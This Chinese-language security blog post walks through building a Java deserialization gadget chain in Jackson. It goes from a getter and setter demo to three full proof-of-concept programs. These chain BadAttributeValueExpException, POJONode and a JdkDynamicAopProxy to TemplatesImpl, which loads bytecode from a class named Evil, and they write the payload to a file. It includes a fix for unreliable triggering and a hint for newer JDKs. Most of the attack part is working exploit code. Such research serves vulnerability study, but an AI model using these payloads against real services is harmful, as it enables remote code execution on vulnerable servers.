Skip to content

Jackson-Chain

Spring自带Jackson依赖

Jackson在调用writeValueAsString序列化一个对象时会自动调用对象的getter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.example.springonly;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Jackson {
public static void main(String[] args) throws JsonProcessingException {
Dashing dashing = new Dashing("bug1", "bug2", "bug3");
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json = objectMapper.writeValueAsString(dashing);
objectMapper.readValue(json,Dashing.class);
}
public static class Dashing{
public String name1;
public String name2;
public String name3;
public Dashing(){
System.out.println("Dashing Constructor");
}
public Dashing(String name1,String name2,String name3){
this.name1=name1;
this.name2=name2;
this.name3=name3;
System.out.println("Dashing 3 args Constructor");
}

public void setName1(String name1) {
System.out.println("Dashing setName1");
this.name1 = name1;
}

public void setName2(String name2) {
System.out.println("Dashing setName2");
this.name2 = name2;
}

public void setName3(String name3) {
System.out.println("Dashing setName3");
this.name3 = name3;
}

public String getName3() {
System.out.println("Dashing getName3");
return name3;
}

public String getName2() {
System.out.println("Dashing getName2");
return name2;
}

public String getName1(){
System.out.println("Dashing getName1");
return name1;
}
}
}

输出

image-20250924100218595

可以看到序列化时调用了getter,反序列化调用了setter,而且反序列化还调用的无参构造方法

所以只要让远程服务器用writeValueAsString序列化TemplatesImpl就可以加载恶意类

而Jackson自带的POJONode就能调用writeValueAsString序列化

初版Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class Jackson {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, ClassNotFoundException {
TemplatesImpl templatesImpl = getTemplatesImpl();
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("bug");
setField(badAttributeValueExpException, "val", jsonNodes);
//这里反射修改是因为BadAttribute的构造函数会调用参数的toString,提前触发构造链可能会对结果造成一定影响,也不利于调试
serial(badAttributeValueExpException);
// deserial(serial);
}
public static TemplatesImpl getTemplatesImpl() throws NoSuchFieldException, NotFoundException, IOException, CannotCompileException {
ClassPool pool = ClassPool.getDefault();
byte[] bytes = pool.get("org.example.springjava8.Evil").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Class templatesImplClass = templates.getClass();
setField(templates,"_name","dashing");
setField(templates,"_bytecodes",new byte[][]{bytes});
setField(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
try {
field.set(obj, value);
} catch (IllegalAccessException e) {}
}
public static void serial(Object obj) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("D:/bug666");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(obj);
}
public static void deserial(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
new ObjectInputStream(byteArrayInputStream).readObject();
}
}

image-20250924171722163

序列化的时候报NullPointerException,看左下角的调用栈,可以看到BaseJsonNode#writeReplace

当对象被序列化时,Java 会优先调writeReplace。如果该方法返回了另一个对象,则序列化的内容将基于返回的对象,而非原始对象。

所以要用javassist给这个方法改个名字或者直接把这个方法删了,避免反序列化出问题(其实序列化的时候已经出问题了)

最原始的jackson链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public class Jackson {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, ClassNotFoundException {
changeMethodName("com.fasterxml.jackson.databind.node.BaseJsonNode","writeReplace","dashingBug");
// delMethod("com.fasterxml.jackson.databind.node.BaseJson Node","writeReplace");
TemplatesImpl templatesImpl = getTemplatesImpl();
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("bug");
setField(badAttributeValueExpException, "val", jsonNodes);
serial(badAttributeValueExpException);
// deserial(serial);
}
public static TemplatesImpl getTemplatesImpl() throws NoSuchFieldException, NotFoundException, IOException, CannotCompileException {
ClassPool pool = ClassPool.getDefault();
byte[] bytes = pool.get("org.example.springjava8.Evil").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Class templatesImplClass = templates.getClass();
setField(templates,"_name","dashing");
setField(templates,"_bytecodes",new byte[][]{bytes});
setField(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
try {
field.set(obj, value);
} catch (IllegalAccessException e) {}
}
public static void serial(Object obj) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("D:/bug666");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(obj);
}
public static void deserial(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
new ObjectInputStream(byteArrayInputStream).readObject();
}
public static void delMethod(String classname,String originName) throws NotFoundException, CannotCompileException {
CtClass ctClass = ClassPool.getDefault().get(classname);
CtMethod ctMethod = ctClass.getDeclaredMethod(originName);
ctClass.removeMethod(ctMethod);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
ctClass.toClass(classLoader,null);
}
public static void changeMethodName(String classname,String originName,String newName) throws NotFoundException, CannotCompileException {
CtClass ctClass = ClassPool.getDefault().get(classname);
CtMethod ctMethod = ctClass.getDeclaredMethod(originName);
ctMethod.setName(newName);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
ctClass.toClass(classLoader,null);
}
}

调用链

1
BadAttributeException#readObject->POJONode#toString->TemplatesImpl#getOutputProperties

但是jackson链存在不能稳定触发的问题(但是在我电脑上能稳定触发)

有时候会触发如下报错

1
2
3
4
5
6
7
8
9
Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
... 74 more

可能造成报错的点在BeanSerializerBase#serializeFields

image-20250925151254655

问题出在this._props字段,上图是outputProperties在stylesheeyDOM之前,所以不会报错

但有时候stylesheeyDOM在outputProperties之前,因为_sdom字段为空就会造成空指针异常。

从JSON1链中学习稳定触发方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
*
* A bit more convoluted example
*
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object)
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
* javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/

这是JSON1的调用链

net.sf.json.JSONObject#defaultBeanProcessing尝试调用包裹对象的所有getter,但是可以看到它没有直接包裹TemplatesImpl,而是包裹的JdkDynamicAopProxy这个handler

看看这个handler的invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/**
* Implementation of {@code InvocationHandler.invoke}.
* <p>Callers will see exactly the exception thrown by the target,
* unless a hook method throws an exception.
*/
@Override
@Nullable
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object oldProxy = null;
boolean setProxyContext = false;

TargetSource targetSource = this.advised.targetSource;
Object target = null;

try {
...
// Get as late as possible to minimize the time we "own" the target,
// in case it comes from a pool.
target = targetSource.getTarget();
Class<?> targetClass = (target != null ? target.getClass() : null);

// Get the interception chain for this method.
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

// Check whether we have any advice. If we don't, we can fall back on direct
// reflective invocation of the target, and avoid creating a MethodInvocation.
if (chain.isEmpty()) {
// We can skip creating a MethodInvocation: just invoke the target directly
// Note that the final invoker must be an InvokerInterceptor so we know it does
// nothing but a reflective operation on the target, and no hot swapping or fancy proxying.
Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
}
else {
...
}
...
}
return retVal;
}
finally {
...
}
}

这个类的advised字段类型为AdvisedSupport,其targetsource储存着所代理接口的实现类,代理类调用方法时会把调用实现类对应的方法,而TemplatesImpl接口Templates只有一个get方法,就是getOutputProperties,所以就能稳定触发了

放到Jackson链里也是同理,把handler为JdkDynamicAopProxy的代理对象放进POJONode里

稳定版POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public class Jackson {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
changeMethodName("com.fasterxml.jackson.databind.node.BaseJsonNode","writeReplace","dashingBug");
// delMethod("com.fasterxml.jackson.databind.node.BaseJson Node","writeReplace");
TemplatesImpl templatesImpl = getTemplatesImpl();
AdvisedSupport addvisedSupport = new AdvisedSupport();
addvisedSupport.setTarget(templatesImpl);
Templates templates = getProxy(Templates.class, addvisedSupport);
POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("bug");
setField(badAttributeValueExpException, "val", jsonNodes);
serial(badAttributeValueExpException);
// deserial(serial);
}
public static TemplatesImpl getTemplatesImpl() throws NoSuchFieldException, NotFoundException, IOException, CannotCompileException {
ClassPool pool = ClassPool.getDefault();
byte[] bytes = pool.get("org.example.springjava8.Evil").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Class templatesImplClass = templates.getClass();
setField(templates,"_name","dashing");
setField(templates,"_bytecodes",new byte[][]{bytes});
setField(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
try {
field.set(obj, value);
} catch (IllegalAccessException e) {}
}
public static void serial(Object obj) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("D:/bug666");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(obj);
}
public static void deserial(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
new ObjectInputStream(byteArrayInputStream).readObject();
}
public static void delMethod(String classname,String originName) throws NotFoundException, CannotCompileException {
CtClass ctClass = ClassPool.getDefault().get(classname);
CtMethod ctMethod = ctClass.getDeclaredMethod(originName);
ctClass.removeMethod(ctMethod);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
ctClass.toClass(classLoader,null);
}
public static void changeMethodName(String classname,String originName,String newName) throws NotFoundException, CannotCompileException {
CtClass ctClass = ClassPool.getDefault().get(classname);
CtMethod ctMethod = ctClass.getDeclaredMethod(originName);
ctMethod.setName(newName);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
ctClass.toClass(classLoader,null);
}
public static Templates getProxy(Class interfaces,AdvisedSupport ad) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Class[] clazz = new Class[]{interfaces};
Class aop = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor constructor = aop.getConstructor(new Class[]{AdvisedSupport.class});
constructor.setAccessible(true);
InvocationHandler aopproxy = (InvocationHandler) constructor.newInstance(ad);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Templates templates = (Templates) Proxy.newProxyInstance(classLoader,clazz,aopproxy);
return templates;
}
}

jdk高版本BadAttribute不能用,将他换成EventListener那条链子就行,toString之后还是一样的

梳理一下Jackson: BadAttribute#readObject->POJONode#toString->JdkDynamicAopProxy#invoke->TemplatesImpl#getOutputProperties

参考文章:从JSON1链中学习处理JACKSON链的不稳定性-先知社区

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.